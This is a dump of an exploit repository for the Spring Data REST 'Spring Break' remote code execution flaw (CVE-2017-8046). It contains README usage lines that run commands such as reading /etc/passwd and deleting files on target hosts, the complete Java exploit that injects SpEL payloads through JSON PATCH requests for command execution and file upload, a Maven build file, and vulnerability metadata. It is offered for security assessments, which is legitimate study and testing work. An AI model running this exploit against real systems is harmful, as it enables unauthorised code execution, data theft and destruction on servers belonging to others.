java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean
|
||||
```
|
||||
|
||||
Please note that the referenced resource/URL must exist!
|
||||
|
||||
## Vulnerable application
|
||||
|
||||
A vulnerable application can be found [here](https://github.com/m3ssap0/SpringBreakVulnerableApp).
|
||||
|
||||
## Authors
|
||||
|
||||
* **Antonio Francesco Sardella** - *main implementation* - [m3ssap0](https://github.com/m3ssap0)
|
||||
* **Yassine Tioual** - *HTTP header enhancement* - [nisay759](https://github.com/nisay759)
|
||||
* **Robin Wagenaar** - *for the suggestion to use patch operation 'remove' instead of 'replace' and for the file upload functionality* - [RobinWagenaar](https://github.com/RobinWagenaar)
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the Apache License Version 2.0 - see the **LICENSE.txt** file for details.
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
* [Man Yue Mo](https://lgtm.com/blog/spring_data_rest_CVE-2017-8046_ql) the security researcher who discovered the vulnerability
|
|
@ -0,0 +1,651 @@
|
|||
// Exploit Title: RCE in PATCH requests in Spring Data REST
|
||||
// Date: 2018-03-10
|
||||
// Exploit Author: Antonio Francesco Sardella
|
||||
// Vendor Homepage: https://pivotal.io/
|
||||
// Software Link: https://projects.spring.io/spring-data-rest/
|
||||
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
|
||||
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
|
||||
// CVE: CVE-2017-8046
|
||||
// Category: Webapps
|
||||
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
|
||||
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
|
||||
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com
|
||||
|
||||
package com.afs.exploit.spring;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URI;
|
||||
import java.net.URISyntaxException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.http.HttpResponse;
|
||||
import org.apache.http.client.HttpClient;
|
||||
import org.apache.http.client.methods.HttpPatch;
|
||||
import org.apache.http.entity.StringEntity;
|
||||
import org.apache.http.impl.client.HttpClientBuilder;
|
||||
import org.apache.http.ssl.SSLContextBuilder;
|
||||
import org.apache.http.conn.ssl.TrustSelfSignedStrategy;
|
||||
import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
|
||||
import org.apache.http.conn.ssl.NoopHostnameVerifier;
|
||||
|
||||
/**
|
||||
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
|
||||
* This software is written to have as less external dependencies as possible.
|
||||
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
|
||||
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
|
||||
* I am NOT responsible for any damages caused or any crimes committed by using this tool.
|
||||
* ..................
|
||||
* . CVE-ID ........: CVE-2017-8046
|
||||
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
|
||||
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
|
||||
* .................. versions prior to 2.5.12, 2.6.9, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
|
||||
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
|
||||
* .................. Java code.
|
||||
* ..................
|
||||
*
|
||||
* @author Antonio Francesco Sardella
|
||||
*/
|
||||
public class SpringBreakCve20178046 {
|
||||
|
||||
/**
|
||||
* Version string.
|
||||
*/
|
||||
private static final String VERSION = "v1.6 (2018-10-13)";
|
||||
|
||||
/**
|
||||
* The JSON Patch object.
|
||||
*/
|
||||
private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"remove\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";
|
||||
|
||||
/**
|
||||
* This is a way to bypass the split and 'replace'
|
||||
* logic performed by the framework on slashes.
|
||||
*/
|
||||
private static String SLASH = "(new java.lang.String(new char[]{0x2F}))";
|
||||
|
||||
/**
|
||||
* Malicious SpEL-script for executing commands.
|
||||
*/
|
||||
private static String COMMAND_PAYLOAD;
|
||||
static {
|
||||
COMMAND_PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
|
||||
COMMAND_PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
|
||||
COMMAND_PAYLOAD += "(";
|
||||
COMMAND_PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
|
||||
COMMAND_PAYLOAD += "?";
|
||||
COMMAND_PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
|
||||
COMMAND_PAYLOAD += ":";
|
||||
COMMAND_PAYLOAD += "\\\"\\\"";
|
||||
COMMAND_PAYLOAD += ")+";
|
||||
COMMAND_PAYLOAD += "%s"; // The encoded command will be placed here.
|
||||
COMMAND_PAYLOAD += ").get%sStream()";
|
||||
COMMAND_PAYLOAD += ",";
|
||||
COMMAND_PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
|
||||
COMMAND_PAYLOAD += ".getResponse().getOutputStream()";
|
||||
COMMAND_PAYLOAD += ").x";
|
||||
}
|
||||
|
||||
/**
|
||||
* Malicious SpEL-script for uploading files (like scripts, binaries, etc).
|
||||
*/
|
||||
private static String FILEUPLOAD_PAYLOAD;
|
||||
static {
|
||||
// Classes java.nio.file.* are only available in Java 7+.
|
||||
FILEUPLOAD_PAYLOAD = "T(java.nio.file.Files).write(";
|
||||
FILEUPLOAD_PAYLOAD += "T(java.nio.file.Paths).get(%s),";
|
||||
FILEUPLOAD_PAYLOAD += "T(java.util.Base64).getDecoder().decode(\\\"%s\\\")";
|
||||
FILEUPLOAD_PAYLOAD += ").x";
|
||||
}
|
||||
|
||||
/**
|
||||
* Error cause string that can be used to "clean the response."
|
||||
*/
|
||||
private static String ERROR_CAUSE = "{\"cause";
|
||||
|
||||
/**
|
||||
* Constant that will be used to get input stream.
|
||||
*/
|
||||
private static String INPUT_STREAM = "Input";
|
||||
|
||||
/**
|
||||
* Constant that will be used to get error stream.
|
||||
*/
|
||||
private static String ERROR_STREAM = "Error";
|
||||
|
||||
/**
|
||||
* The target URL.
|
||||
*/
|
||||
private URI url;
|
||||
|
||||
/**
|
||||
* Whether to skipSSL or not, default set to false
|
||||
*/
|
||||
private boolean skipSSL;
|
||||
|
||||
/**
|
||||
* The command that will be executed on the remote machine.
|
||||
*/
|
||||
private String command;
|
||||
|
||||
/**
|
||||
* Cookies that will be passed.
|
||||
*/
|
||||
private String cookies;
|
||||
|
||||
/**
|
||||
* Flag used to remove error messages in output due to
|
||||
* the usage of the exploit. It could hide error messages
|
||||
* if the request fails for other reasons.
|
||||
*/
|
||||
private boolean cleanResponse;
|
||||
|
||||
/**
|
||||
* This flag can be used to retrieve the error stream
|
||||
* in case the launched remote command fails unexpectedly.
|
||||
*/
|
||||
private boolean errorStream;
|
||||
|
||||
/**
|
||||
* Verbosity flag.
|
||||
*/
|
||||
private boolean verbose;
|
||||
|
||||
/**
|
||||
* Custom headers that will be passed.
|
||||
*/
|
||||
private List<String> customHeaders = new ArrayList<String>();
|
||||
|
||||
/**
|
||||
* Path that will point to a file on the local filesystem, which will
|
||||
* be uploaded. Uploads cannot be used in conjunction with commands in the
|
||||
* same request.
|
||||
*/
|
||||
private File localFileToUpload;
|
||||
|
||||
/**
|
||||
* Server will upload the file to this location, e.g. /tmp or C:\TEMP. This path
|
||||
* will be encoded to ensure that Spring will not convert slashes to dots.
|
||||
*/
|
||||
private String remoteUploadDirectory;
|
||||
|
||||
/**
|
||||
* Default constructor.
|
||||
*/
|
||||
public SpringBreakCve20178046() {
|
||||
this.verbose = false;
|
||||
this.cleanResponse = false;
|
||||
this.errorStream = false;
|
||||
this.skipSSL = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Performs the exploit.
|
||||
*
|
||||
* @throws IOException
|
||||
* If something bad occurs during HTTP GET.
|
||||
*/
|
||||
public void exploit() throws IOException {
|
||||
checkInput();
|
||||
printInput();
|
||||
String payload = preparePayload();
|
||||
String response = httpPatch(payload);
|
||||
printOutput(response);
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks the input.
|
||||
*/
|
||||
private void checkInput() {
|
||||
if (this.url == null) {
|
||||
throw new IllegalArgumentException("URL must be passed.");
|
||||
}
|
||||
|
||||
if ((isEmpty(this.command) && this.localFileToUpload == null) || (!isEmpty(this.command) && this.localFileToUpload != null)) {
|
||||
throw new IllegalArgumentException("Either a command must be passed, or a file must be selected for upload.");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Prints input if verbose flag is true.
|
||||
*/
|
||||
private void printInput() {
|
||||
if (isVerbose()) {
|
||||
System.out.println("[*] Target URL ........: " + this.url);
|
||||
if (!isEmpty(this.command)) {
|
||||
System.out.println("[*] Command ...........: " + this.command);
|
||||
}
|
||||
if (this.localFileToUpload != null) {
|
||||
System.out.println("[*] File to upload ....: " + this.localFileToUpload.getAbsolutePath());
|
||||
if (!isEmpty(this.remoteUploadDirectory)) {
|
||||
System.out.println("[*] Remote upload dir .: " + this.remoteUploadDirectory);
|
||||
}
|
||||
}
|
||||
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
|
||||
System.out.println("[*] Headers ...........: " + (this.customHeaders == null || this.customHeaders.isEmpty() ? "(no headers)" : "(" + this.customHeaders.size() + " headers)"));
|
||||
if (this.customHeaders != null && !this.customHeaders.isEmpty()) {
|
||||
for (String header : this.customHeaders) {
|
||||
System.out.println(" > " + header);
|
||||
}
|
||||
}
|
||||
System.out.println("[*] Clean response ....: " + this.cleanResponse);
|
||||
System.out.println("[*] Ret error stream ..: " + this.errorStream);
|
||||
System.out.println("[*] Verbose ...........: " + this.verbose);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Prepares the payload.
|
||||
*
|
||||
* @return The malicious payload that will be injected.
|
||||
*/
|
||||
private String preparePayload() {
|
||||
System.out.println("[*] Preparing payload.");
|
||||
String payload = null;
|
||||
|
||||
// Send a command to the server:
|
||||
if (!isEmpty(this.command)) {
|
||||
String encodedCommand = encode(this.command); // Encoding inserted command.
|
||||
String maliciousSpEL = String.format(COMMAND_PAYLOAD, encodedCommand, isErrorStream() ? ERROR_STREAM : INPUT_STREAM);
|
||||
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL); // Placing payload into JSON Patch object.
|
||||
}
|
||||
|
||||
// Upload a file to the server:
|
||||
else if (this.localFileToUpload != null) {
|
||||
try {
|
||||
// Remote preparing filename / directory.
|
||||
String filename = this.localFileToUpload.getName();
|
||||
if (remoteUploadDirectory != null) {
|
||||
filename = remoteUploadDirectory + filename;
|
||||
filename = encode(filename);
|
||||
}
|
||||
|
||||
// Reading file content to byte[] instead of string avoids potential text encoding issues.
|
||||
byte[] rawFileContent = FileUtils.readFileToByteArray(this.localFileToUpload);
|
||||
String encodedFileContent = Base64.encodeBase64String(rawFileContent);
|
||||
String maliciousSpEL = String.format(FILEUPLOAD_PAYLOAD, filename, encodedFileContent);
|
||||
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL);
|
||||
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
if (isVerbose()) {
|
||||
System.out.println("[*] Payload ...........: " + payload);
|
||||
}
|
||||
|
||||
return payload;
|
||||
}
|
||||
|
||||
/**
|
||||
* Encodes the inserted command.
|
||||
*
|
||||
* @return The encoded command.
|
||||
*/
|
||||
private String encode(String command) {
|
||||
StringBuffer encodedCommand = new StringBuffer("(new java.lang.String(new char[]{");
|
||||
|
||||
int commandLength = command.length();
|
||||
for (int i = 0; i < commandLength; i++) {
|
||||
encodedCommand.append((int) command.charAt(i));
|
||||
if (i + 1 < commandLength) {
|
||||
encodedCommand.append(",");
|
||||
}
|
||||
}
|
||||
|
||||
encodedCommand.append("}))");
|
||||
|
||||
if (isVerbose()) {
|
||||
System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
|
||||
}
|
||||
|
||||
return encodedCommand.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* HTTP PATCH operation on the target passing the malicious payload.
|
||||
*
|
||||
* @param payload
|
||||
* The malicious payload.
|
||||
* @return The response as a string.
|
||||
* @throws IOException
|
||||
* If something bad occurs during HTTP GET.
|
||||
*/
|
||||
private String httpPatch(String payload) throws IOException {
|
||||
System.out.println("[*] Sending payload.");
|
||||
|
||||
// Preparing PATCH operation.
|
||||
HttpClientBuilder clientBuilder = HttpClientBuilder.create();
|
||||
|
||||
// Disable SSL Verification
|
||||
if(this.url.getScheme().equalsIgnoreCase("https") && this.skipSSL){
|
||||
try{
|
||||
SSLContextBuilder sslBuilder = new SSLContextBuilder();
|
||||
sslBuilder.loadTrustMaterial(null, new TrustSelfSignedStrategy());
|
||||
// Since certificates contain hostnames, not ip addresses, if we try https://ipAddress
|
||||
// a SSLPeerUnverifiedException would be thrown because hostname in certificate does not match
|
||||
// ip used in https://ipAddress, to avoid that error we need to use the overloaded constructor taking as second arg NoopHostnameVerifier.
|
||||
SSLConnectionSocketFactory sslConnectionFactory = new SSLConnectionSocketFactory(sslBuilder.build(), NoopHostnameVerifier.INSTANCE);
|
||||
clientBuilder.setSSLSocketFactory(sslConnectionFactory);
|
||||
} catch(Exception exception) {
|
||||
// Errors that may be thrown: KeyManagementException, KeyStoreException, NoSuchAlgorithmException, SSLPeerUnverifiedException
|
||||
throw new RuntimeException(exception);
|
||||
}
|
||||
}
|
||||
|
||||
HttpClient client = clientBuilder.build();
|
||||
|
||||
HttpPatch patch = new HttpPatch(this.url);
|
||||
patch.setHeader("User-Agent", "Mozilla/5.0");
|
||||
patch.setHeader("Accept-Language", "en-US,en;q=0.5");
|
||||
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
|
||||
if (!isEmpty(this.cookies)) {
|
||||
patch.setHeader("Cookie", this.cookies);
|
||||
}
|
||||
if (!customHeaders.isEmpty()) {
|
||||
for (String header : this.customHeaders) {
|
||||
String key = header.split(":")[0];
|
||||
String value = header.split(":")[1];
|
||||
patch.setHeader(key, value);
|
||||
}
|
||||
}
|
||||
patch.setEntity(new StringEntity(payload));
|
||||
|
||||
// Response string.
|
||||
StringBuffer response = new StringBuffer();
|
||||
|
||||
// Executing PATCH operation.
|
||||
HttpResponse httpResponse = client.execute(patch);
|
||||
if (httpResponse != null) {
|
||||
|
||||
// Reading response code.
|
||||
if (httpResponse.getStatusLine() != null) {
|
||||
int responseCode = httpResponse.getStatusLine().getStatusCode();
|
||||
System.out.println("[*] HTTP " + responseCode);
|
||||
} else {
|
||||
System.out.println("[!] HTTP response code can't be read.");
|
||||
}
|
||||
|
||||
// Reading response content.
|
||||
if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
|
||||
BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
|
||||
String inputLine;
|
||||
|
||||
while ((inputLine = in.readLine()) != null) {
|
||||
response.append(inputLine);
|
||||
response.append(System.getProperty("line.separator"));
|
||||
}
|
||||
in.close();
|
||||
} else {
|
||||
System.out.println("[!] HTTP response content can't be read.");
|
||||
}
|
||||
|
||||
} else {
|
||||
System.out.println("[!] HTTP response is null.");
|
||||
}
|
||||
|
||||
return response.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Prints output.
|
||||
*
|
||||
* @param response
|
||||
* Response that will be printed.
|
||||
*/
|
||||
private void printOutput(String response) {
|
||||
if (!isEmpty(response)) {
|
||||
System.out.println("[*] vvv Response vvv");
|
||||
|
||||
// Cleaning response (if possible).
|
||||
if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
|
||||
String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
|
||||
System.out.println(cleanedResponse);
|
||||
} else {
|
||||
System.out.println(response);
|
||||
}
|
||||
|
||||
System.out.println("[*] ^^^ ======== ^^^");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if an input string is null/empty or not.
|
||||
*
|
||||
* @param input
|
||||
* The input string to check.
|
||||
* @return True if the string is null or empty, false otherwise.
|
||||
*/
|
||||
private boolean isEmpty(String input) {
|
||||
boolean isEmpty;
|
||||
|
||||
if (input == null || input.trim().length() < 1) {
|
||||
isEmpty = true;
|
||||
} else {
|
||||
isEmpty = false;
|
||||
}
|
||||
|
||||
return isEmpty;
|
||||
}
|
||||
|
||||
/* Getters and setters. */
|
||||
|
||||
public boolean isVerbose() {
|
||||
return verbose;
|
||||
}
|
||||
|
||||
public void setVerbose(boolean verbose) {
|
||||
this.verbose = verbose;
|
||||
}
|
||||
|
||||
public void setUrl(String url) throws URISyntaxException {
|
||||
if (isEmpty(url)) {
|
||||
throw new IllegalArgumentException("URL must be not null and not empty.");
|
||||
}
|
||||
|
||||
this.url = new URI(url.trim());
|
||||
}
|
||||
|
||||
public void setCommand(String command) {
|
||||
if (isEmpty(command)) {
|
||||
throw new IllegalArgumentException("Command must be not null and not empty.");
|
||||
}
|
||||
|
||||
this.command = command.trim();
|
||||
}
|
||||
|
||||
public void setCookies(String cookies) {
|
||||
if (cookies != null) {
|
||||
cookies = cookies.trim();
|
||||
}
|
||||
|
||||
this.cookies = cookies;
|
||||
}
|
||||
|
||||
public void setSkipSSL(boolean skipSSL){
|
||||
this.skipSSL = skipSSL;
|
||||
}
|
||||
|
||||
public void setCustomHeader(String customHeader) {
|
||||
if (customHeader != null && customHeader.contains(":") && !customHeader.startsWith(":") && !customHeader.endsWith(":")) {
|
||||
customHeader = customHeader.trim();
|
||||
this.customHeaders.add(customHeader);
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isCleanResponse() {
|
||||
return cleanResponse;
|
||||
}
|
||||
|
||||
public void setCleanResponse(boolean cleanResponse) {
|
||||
this.cleanResponse = cleanResponse;
|
||||
}
|
||||
|
||||
public boolean isErrorStream() {
|
||||
return errorStream;
|
||||
}
|
||||
|
||||
public void setErrorStream(boolean errorStream) {
|
||||
this.errorStream = errorStream;
|
||||
}
|
||||
|
||||
public void setLocalFileToUpload(String localFileToUpload) {
|
||||
if (isEmpty(localFileToUpload)) {
|
||||
throw new IllegalArgumentException("Filename must not be null and not empty.");
|
||||
}
|
||||
|
||||
File upload = new File(localFileToUpload);
|
||||
if (!upload.exists() || !upload.isFile() || !upload.canRead()) {
|
||||
throw new IllegalArgumentException("File to upload does not exist or is not readable: " + upload.getAbsolutePath());
|
||||
}
|
||||
|
||||
this.localFileToUpload = upload;
|
||||
}
|
||||
|
||||
public void setRemoteUploadDirectory(String remoteUploadDirectory) {
|
||||
if (!remoteUploadDirectory.endsWith("/")) {
|
||||
remoteUploadDirectory += "/";
|
||||
}
|
||||
this.remoteUploadDirectory = remoteUploadDirectory;
|
||||
}
|
||||
|
||||
/**
|
||||
* Shows the program help.
|
||||
*/
|
||||
public static final void help() {
|
||||
System.out.println("Usage:");
|
||||
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
|
||||
System.out.println("Description:");
|
||||
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
|
||||
System.out.println("Options:");
|
||||
System.out.println(" -h, --help");
|
||||
System.out.println(" Prints this help and exits.");
|
||||
System.out.println(" -u, --url [target_URL]");
|
||||
System.out.println(" The target URL where the exploit will be performed.");
|
||||
System.out.println(" You have to choose an existent resource.");
|
||||
System.out.println(" -cmd, --command [command_to_execute]");
|
||||
System.out.println(" The command that will be executed on the remote machine.");
|
||||
System.out.println(" -U, --upload [file_to_upload]");
|
||||
System.out.println(" File to upload to the remote machine. Will be uploaded to the current working");
|
||||
System.out.println(" directory of the Java process. Warning: this will only succeed on a server running");
|
||||
System.out.println(" JRE-1.7 or later.");
|
||||
System.out.println(" --remote-upload-directory [/some/existing/path/]");
|
||||
System.out.println(" Optional. Server will attempt to write the uploaded file to this directory on the");
|
||||
System.out.println(" filesystem. Specified directory must exist and be writeable.");
|
||||
System.out.println(" --cookies [cookies]");
|
||||
System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");
|
||||
System.out.println(" -H, --header [custom_header]");
|
||||
System.out.println(" Optional. Custom header passed into the request, e.g. authorization header.");
|
||||
System.out.println(" -k");
|
||||
System.out.println(" Skip SSL validation");
|
||||
System.out.println(" --clean");
|
||||
System.out.println(" Optional. Removes error messages in output due to the usage of the");
|
||||
System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");
|
||||
System.out.println(" --error-stream");
|
||||
System.out.println(" Optional. In case of errors the command will fail and the error stream will");
|
||||
System.out.println(" not be returned. This option can be used to relaunch the remote command");
|
||||
System.out.println(" returning the error stream.");
|
||||
System.out.println(" -v, --verbose");
|
||||
System.out.println(" Optional. Increase verbosity.");
|
||||
}
|
||||
|
||||
/**
|
||||
* Main method.
|
||||
*
|
||||
* @param args
|
||||
* Input arguments
|
||||
*/
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
|
||||
SpringBreakCve20178046 o = new SpringBreakCve20178046();
|
||||
|
||||
if (args.length > 0) {
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
|
||||
String p = args[i];
|
||||
|
||||
if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
|
||||
SpringBreakCve20178046.help();
|
||||
return;
|
||||
} else if ("-u".equals(p) || "--url".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("URL must be passed.");
|
||||
}
|
||||
o.setUrl(args[++i]);
|
||||
|
||||
} else if ("-U".equals(p) || "--upload".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("File must be passed, if specified.");
|
||||
}
|
||||
o.setLocalFileToUpload(args[++i].trim());
|
||||
|
||||
} else if ("--remote-upload-directory".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Remote directory must be passed, if specified.");
|
||||
}
|
||||
o.setRemoteUploadDirectory(args[++i].trim());
|
||||
|
||||
} else if ("-cmd".equals(p) || "--command".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Command must be passed.");
|
||||
}
|
||||
o.setCommand(args[++i]);
|
||||
|
||||
} else if ("--cookies".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Cookies must be passed, if specified.");
|
||||
}
|
||||
o.setCookies(args[++i]);
|
||||
|
||||
} else if ("-k".equals(p)) {
|
||||
|
||||
o.setSkipSSL(true);
|
||||
|
||||
} else if ("-H".equals(p) || "--header".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Custom header must be passed, if specified.");
|
||||
}
|
||||
o.setCustomHeader(args[++i]);
|
||||
|
||||
} else if ("--clean".equals(p)) {
|
||||
o.setCleanResponse(true);
|
||||
} else if ("--error-stream".equals(p)) {
|
||||
o.setErrorStream(true);
|
||||
} else if ("-v".equals(p) || "--verbose".equals(p)) {
|
||||
o.setVerbose(true);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Performing the exploit.
|
||||
o.exploit();
|
||||
|
||||
} else { // Wrong number of arguments.
|
||||
SpringBreakCve20178046.help();
|
||||
return;
|
||||
}
|
||||
|
||||
} catch (URISyntaxException use) {
|
||||
System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
|
||||
} catch (IllegalArgumentException iae) {
|
||||
System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
|
||||
} catch (Exception e) {
|
||||
System.out.println("[!] Unexpected exception: " + e.getMessage());
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,68 @@
|
|||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.afs.exploit</groupId>
|
||||
<artifactId>spring-break_cve-2017-8046</artifactId>
|
||||
<version>1.3</version>
|
||||
<name>spring-break_cve-2017-8046</name>
|
||||
<description>This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).</description>
|
||||
<properties>
|
||||
<maven.compiler.source>1.7</maven.compiler.source>
|
||||
<maven.compiler.target>1.7</maven.compiler.target>
|
||||
</properties>
|
||||
<build>
|
||||
<sourceDirectory>src/main/java</sourceDirectory>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<version>3.1</version>
|
||||
<configuration>
|
||||
<source/>
|
||||
<target/>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>single</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<archive>
|
||||
<manifest>
|
||||
<mainClass>com.afs.exploit.spring.SpringBreakCve20178046</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.apache.httpcomponents</groupId>
|
||||
<artifactId>httpclient</artifactId>
|
||||
<version>4.5.5</version>
|
||||
</dependency>
|
||||
|
||||
<!--
|
||||
This dependency is used for file-handling (uploads). But it's a tradeoff. The options are:
|
||||
a) write long and non-elegant filehandling-code manually without libraries and basic java-features
|
||||
b) write readable code, no library, but sacrifice compatibility by using Java-1.7+ file-handling features
|
||||
c) write short code, use this library and be Java-1.5+ compatible.
|
||||
Option C was chosen:
|
||||
-->
|
||||
<dependency>
|
||||
<groupId>commons-io</groupId>
|
||||
<artifactId>commons-io</artifactId>
|
||||
<version>2.6</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<url>https://github.com/m3ssap0/spring-break_cve-2017-8046</url>
|
||||
</project>
|
|
@ -0,0 +1,21 @@
|
|||
id: CVE-2017-8046
|
||||
source:
|
||||
https://github.com/m3ssap0/spring-break_cve-2017-8046
|
||||
info:
|
||||
name: Spring框架是 Java 平台的一个开源的全栈(full-stack)应用程序框架和控制反转容器实现,一般被直接称为 Spring。
|
||||
severity: high
|
||||
description: |
|
||||
在2.5.12、2.6.7、3.0 RC3之前的Pivotal spring data rest版本、2.0.0M4之前的spring Boot版本以及Kay-RC3之前的spring data发布序列中,提交给spring data rest服务器的恶意PATCH请求可以使用特制的JSON数据来运行任意Java代码。
|
||||
scope-of-influence:
|
||||
Pivotal spring data rest 2.5.x (<2.5.12)
|
||||
spring Boot 2.0.x (<2.0.0)
|
||||
reference:
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2017-8046
|
||||
cwe-id: CWE-20
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: cve2017, spring-framework
|
|
@ -0,0 +1,57 @@
|
